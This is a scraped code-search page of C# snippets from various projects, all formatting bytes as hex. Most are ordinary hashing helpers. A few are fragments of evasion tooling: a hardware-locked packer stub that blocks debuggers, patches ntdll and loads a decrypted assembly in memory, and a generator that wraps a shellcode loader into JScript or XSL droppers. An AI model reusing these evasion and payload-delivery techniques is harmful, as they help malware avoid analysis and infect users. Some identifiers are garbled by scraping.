            foreach (var FinalHEX in GetTextToHEX)
            {
                BuildHEX.Append(FinalHEX.ToString("X2"));
            }
            StringBuilder sb = new StringBuilder(); foreach (char c in BuildHEX.ToString().ToCharArray()) { sb.Append(Convert.ToString(c, 2).PadLeft(8, '0')); }
            byte[] keys = MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(sb.ToString()));
            StringBuilder builder = new StringBuilder();
            for (int i = 0; i < keys.Length; i++)
            {
                builder.Append(keys[i].ToString("x2"));
            }
            string Final = EncryptingBytes.AesTextEncryption(Convert.ToBase64String(CodeToProtect), builder.ToString(), RandomIV);
            string HWIDPacker = Resource1.HWIDPacker;
            string NewHWIDPackerCode = HWIDPacker.Replace("DecME", Final).Replace("THISISIV", RandomIV).Replace("HWIDPacker", "namespace " + RandomName(14));
            string MyShinyNewPacker = NewHWIDPackerCode.Replace("SOS12", Convert.ToBase64String(Encoding.UTF8.GetBytes(RandomKey)));
            codeProvider.CompilereplacedemblyFromSource(parameters, MyShinyNewPacker);
        }

19 View Source File : PkgChecker.cs
License : MIT License
Project Creator : 13xforever

internal static string AsHexString(this byte[] bytes)
        {
            var result = new StringBuilder();
            foreach (var b in bytes)
                result.Append(b.ToString("x2"));
            return result.ToString();
        }

19 View Source File : EncryptionHelper.cs
License : MIT License
Project Creator : aishang2015

public static string MD5Encrypt(string str)
        {
            using (var md5 = MD5.Create())
            {
                byte[] buffer = md5.ComputeHash(Encoding.UTF8.GetBytes(str));
                var sb = new StringBuilder();
                for (int i = 0; i < buffer.Length; i++)
                {
                    sb.Append(buffer[i].ToString("X2"));
                }
                return sb.ToString();
            }
        }

19 View Source File : PwnedPasswords.cs
License : MIT License
Project Creator : abergs

public async static Task<bool> IsPreplacedwordPwned(string preplacedword, CancellationToken cancellationToken, HttpClient httpClient = null)
        {
            if (preplacedword == null) return false;

            byte[] byteString = Encoding.UTF8.GetBytes(preplacedword);
            byte[] hashBytes = null;
            var hashString = string.Empty;

            using (var sha1 = SHA1.Create())
            {
                hashBytes = sha1.ComputeHash(byteString);
            }            

            var sb = new StringBuilder();
            foreach (byte b in hashBytes)
            {
                sb.Append(b.ToString("X2"));
            }
            hashString = sb.ToString();

            string hashFirstFive = hashString.Substring(0, 5);
            string hashLeftover = hashString.Substring(5, hashString.Length - 5);

            HttpClient client = httpClient;
            if (httpClient == null)
            {
                client = _fallbackClient.Value;
            }

            try
            {
                var response = await client.GetStringAsync($"https://api.pwnedpreplacedwords.com/range/{hashFirstFive}");
                var isPwned = response.Contains(hashLeftover);

                return isPwned;
            }
            catch (Exception)
            {
                // todo: Log exceptions
                return false;
            }
        }

19 View Source File : SoloPerformanceIpc.cs
License : GNU Affero General Public License v3.0
Project Creator : akira0245

public override string ToString() => string.Join(' ', NoteNumbers.Select(i => i.ToString("X")));

19 View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu

public static string CreateMD5(string input)
        {
            // Use input string to calculate MD5 hash
            using (System.Security.Cryptography.MD5 md5 = System.Security.Cryptography.MD5.Create())
            {
                byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes(input);
                byte[] hashBytes = md5.ComputeHash(inputBytes);

                // Convert the byte array to hexadecimal string
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < hashBytes.Length; i++)
                {
                    sb.Append(hashBytes[i].ToString("X2"));
                }
                return sb.ToString();
            }
        }

19 View Source File : MD5.cs
License : MIT License
Project Creator : AlaricGilbert

public static string GetMd5String(string source)
        {
            MD5 md = Create();
            byte[] bytes = new UTF8Encoding().GetBytes(source);
            byte[] buffer2 = md.ComputeHash(bytes);
            StringBuilder builder = new StringBuilder();
            foreach (byte num in buffer2)
            {
                builder.Append(((byte)num).ToString("x2"));
            }
            return builder.ToString();
        }

19 View Source File : IOUtil.cs
License : MIT License
Project Creator : actions

public static string GetSha256Hash(string path)
        {
            string hashString = path.ToLowerInvariant();
            using (SHA256 sha256hash = SHA256.Create())
            {
                byte[] data = sha256hash.ComputeHash(Encoding.UTF8.GetBytes(hashString));
                StringBuilder sBuilder = new StringBuilder();
                for (int i = 0; i < data.Length; i++)
                {
                    sBuilder.Append(data[i].ToString("x2"));
                }

                string hash = sBuilder.ToString();
                return hash;
            }
        }

19 View Source File : Hexadecimal.cs
License : MIT License
Project Creator : alecgn

public static string ToHexString(byte[] byteArray)
        {
            if (byteArray == null || byteArray.Length <= 0)
            {
                return null;
            }

            //var sb = new StringBuilder();

            //for (int i = 0; i < byteArray.Length; i++)
            //{
            //    sb.Append(byteArray[i].ToString("X2"));
            //}

            //return sb.ToString();

            return string.Concat(byteArray.Select(b => b.ToString("X2")));
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 1y0n

private string Generate_JS_XSL(string type)
        {
            //1. 生成一个 dll 文件
            string target_arch = " /platform:x86 /optimize ";
            if (radioButton2.Checked)
            {
                target_arch = " /platform:x64 /optimize";
            }

            KEY = Random_Key();
            List<string> temp_list = new List<string>();
            foreach (byte i in KEY)
            {
                temp_list.Add("0x" + i.ToString("X2"));
            }
            KEY_String = string.Join(",", temp_list);

            
            Compiler compiler = new Compiler();
            TP_VirtualAlloc_DLL vad = new TP_VirtualAlloc_DLL(KEY_String, Handle_Payload());
            compiler.compileToExe(vad.GetCode(), KEY_String, Global_Var.dll_path, target_arch, "library");
            

            //2. 通过 DotNetToJscript 转换成 js
            string js_result = DotNetToJScript.Generate();

            if (js_result != null)
            {
                if (type == ".js")
                {
                    return js_result;
                }
                else 
                {
                    TP_XSL xsl = new TP_XSL();
                    return xsl.GetCode(js_result);
                }
            }
            else
            {
                return null;
            }
        }

19 View Source File : Criptografia.cs
License : MIT License
Project Creator : alexandrebeato

private static string ObterHashMd5(MD5 md5Hash, string input)
        {
            var data = md5Hash.ComputeHash(Encoding.UTF8.GetBytes(input));
            var sBuilder = new StringBuilder();

            for (int i = 0; i < data.Length; i++)
            {
                sBuilder.Append(data[i].ToString("x2"));
            }

            return sBuilder.ToString();
        }

19 View Source File : PlatformFeatures.cs
License : MIT License
Project Creator : adamfisher

public string HashSha1(string value)
        {
            var hash = (new SHA1Managed()).ComputeHash(Encoding.UTF8.GetBytes(value));
            return string.Join(string.Empty, hash.Select(b => b.ToString("x2")).ToArray());
        }

19 View Source File : HashUtils.cs
License : GNU General Public License v3.0
Project Creator : alexdillon

public static string SHA1Hash(string input)
        {
            using (var sha1Managed = new SHA1Managed())
            {
                var hash = sha1Managed.ComputeHash(Encoding.UTF8.GetBytes(input));
                return string.Concat(hash.Select(b => b.ToString("x2")));
            }
        }

19 View Source File : Protocol16SerializerTest.cs
License : MIT License
Project Creator : 0blu

private void ToString(Stream s)
        {
            MemoryStream ms = new MemoryStream();
            s.Position = 0;
            s.CopyTo(ms);
            string d = "";
            for (int i = 0; i < ms.Length; i++)
            {
                d += "0x" + ms.GetBuffer()[i].ToString("X2") + ", ";
            }
            Console.WriteLine(d);
        }

19 View Source File : IPAddressExtension.cs
License : Apache License 2.0
Project Creator : alexreinert

public static string GetReverseLookupAddress(this IPAddress ipAddress)
		{
			if (ipAddress == null)
				throw new ArgumentNullException("ipAddress");

			StringBuilder res = new StringBuilder();

			byte[] addressBytes = ipAddress.GetAddressBytes();

			if (ipAddress.AddressFamily == AddressFamily.InterNetwork)
			{
				for (int i = addressBytes.Length - 1; i >= 0; i--)
				{
					res.Append(addressBytes[i]);
					res.Append(".");
				}
				res.Append("in-addr.arpa");
			}
			else
			{
				for (int i = addressBytes.Length - 1; i >= 0; i--)
				{
					string hex = addressBytes[i].ToString("x2");
					res.Append(hex[1]);
					res.Append(".");
					res.Append(hex[0]);
					res.Append(".");
				}

				res.Append("ip6.arpa");
			}

			return res.ToString();
		}

19 View Source File : Deserializer.cs
License : MIT License
Project Creator : ADeltaX

public static string PrettyPrintArray(byte[] array, string quotes = "")
        {
            StringBuilder stringBuilder = new StringBuilder();

            for (int i = 0; i < array.Length; i++)
            {
                stringBuilder.Append(array[i].ToString("X2"));
                if (i < array.Length - 1)
                    stringBuilder.Append(" ");
            }

            return stringBuilder.ToString();
        }

19 View Source File : MD5Util.cs
License : MIT License
Project Creator : 404Lcc

public static string ComputeMD5(byte[] bytes)
        {
            if (bytes != null)
            {
                //加密结果"x2"结果为32位 "x3"结果为48位 "x4"结果为64位
                MD5 md5 = new MD5CryptoServiceProvider();
                bytes = md5.ComputeHash(bytes);
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < bytes.Length; i++)
                {
                    sb.Append(bytes[i].ToString("x2"));
                }
                return $"{sb}";
            }
            return string.Empty;
        }

19 View Source File : Helper.cs
License : MIT License
Project Creator : 0ffffffffh

private static string HashWith(HashAlgorithm algo,string v)
        {
            string hash;
            StringBuilder sb = new StringBuilder();
            byte[] bytes = Encoding.ASCII.GetBytes(v);

            bytes = algo.ComputeHash(bytes);
            algo.Dispose();

            for (int i = 0; i < bytes.Length; i++)
                sb.Append(bytes[i].ToString("X2"));

            hash = sb.ToString();
            sb.Clear();
            sb = null;
            
            return hash;
        }

19 View Source File : Ribbon.cs
License : GNU General Public License v3.0
Project Creator : 0dteam

private string GetHashSha256(string filename)
        {
            using (FileStream stream = File.OpenRead(filename))
            {
                SHA256Managed sha = new SHA256Managed();
                byte[] shaHash = sha.ComputeHash(stream);
                string result = "";
                foreach (byte b in shaHash) result += b.ToString("x2");
                return result;
            }
        }

19 View Source File : StringEx.cs
License : MIT License
Project Creator : 13xforever

public static string AsHex(this byte[] bytes)
        {
            if (bytes == null)
                return null;

            if (bytes.Length == 0)
                return "";

            var result = new StringBuilder(bytes.Length*2);
            foreach (var b in bytes)
                result.Append(b.ToString("x2"));
            return result.ToString();
        }

19 View Source File : Util.cs
License : MIT License
Project Creator : 499116344

public static string GetMD5HashFromFile(string fileName)
        {
            try
            {
                var file = new FileStream(fileName, FileMode.Open);
                MD5 md5 = new MD5CryptoServiceProvider();
                var retVal = md5.ComputeHash(file);
                file.Close();

                var sb = new StringBuilder();
                foreach (var t in retVal)
                {
                    sb.Append(t.ToString("x2"));
                }

                return sb.ToString();
            }
            catch (Exception ex)
            {
                throw new Exception("GetMD5HashFromFile() fail, error:" + ex.Message);
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : AhmedMinegames

[STAThread]
        static void Main()
        {
            try
            {
                bool IsPresent = false;
                CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref IsPresent);
                if (Debugger.IsAttached || IsDebuggerPresent() || IsPresent || CloseHandleAntiDebug())
                {
                    Environment.Exit(0);
                }
                else
                {
                    IntPtr NtdllModule = GetModuleHandle("ntdll.dll");
                    IntPtr DbgUiRemoteBreakinAddress = GetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
                    IntPtr DbgUiConnectToDbgAddress = GetProcAddress(NtdllModule, "DbgUiConnectToDbg");
                    byte[] Int3InvaildCode = { 0xCC };
                    WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 6, 0);
                    WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiConnectToDbgAddress, Int3InvaildCode, 6, 0);
                    string HWID = GetHardwareID();
                    StringBuilder DecryptEncryptionKey = new StringBuilder();
                    for (int c = 0; c < HWID.Length; c++)
                        DecryptEncryptionKey.Append((char)((uint)HWID[c] ^ (uint)Convert.FromBase64String("SOS12")[c % 4]));
                    StringBuilder ROT13Encoding = new StringBuilder();
                    Regex regex = new Regex("[A-Za-z]");
                    foreach (char KSXZ in DecryptEncryptionKey.ToString())
                    {
                        if (regex.IsMatch(KSXZ.ToString()))
                        {
                            int C = ((KSXZ & 223) - 52) % 26 + (KSXZ & 32) + 65;
                            ROT13Encoding.Append((char)C);
                        }
                    }
                    string HashedKey = UTF8Encoding.UTF8.GetString(MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(ROT13Encoding.ToString())));
                    var GetTextToHEX = Encoding.Unicode.GetBytes(HashedKey);
                    var BuildHEX = new StringBuilder();
                    foreach (var FinalHEX in GetTextToHEX)
                    {
                        BuildHEX.Append(FinalHEX.ToString("X2"));
                    }
                    StringBuilder sb = new StringBuilder(); foreach (char c in BuildHEX.ToString().ToCharArray()) { sb.Append(Convert.ToString(c, 2).PadLeft(8, '0')); }
                    byte[] keys = MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(sb.ToString()));
                    StringBuilder builder = new StringBuilder();
                    for (int i = 0; i < keys.Length; i++)
                    {
                        builder.Append(keys[i].ToString("x2"));
                    }
                    string DecryptedProgram = TqMIJUcgsXjVgxqJ(ProgramToDecrypt, builder.ToString(), IV);
                    byte[] ProgramToRun = Convert.FromBase64String(DecryptedProgram);
                    replacedembly RunInMemory = replacedembly.Load(ProgramToRun);
                    RunInMemory.EntryPoint.Invoke(null, null);
                }
            }
            catch(CryptographicException)
            {
                MessageBox.Show("Sorry But looks like you are not authorized to use this program.", "Error", MessageBoxButtons.OKCancel, MessageBoxIcon.Error);
            }
        }

See More Examples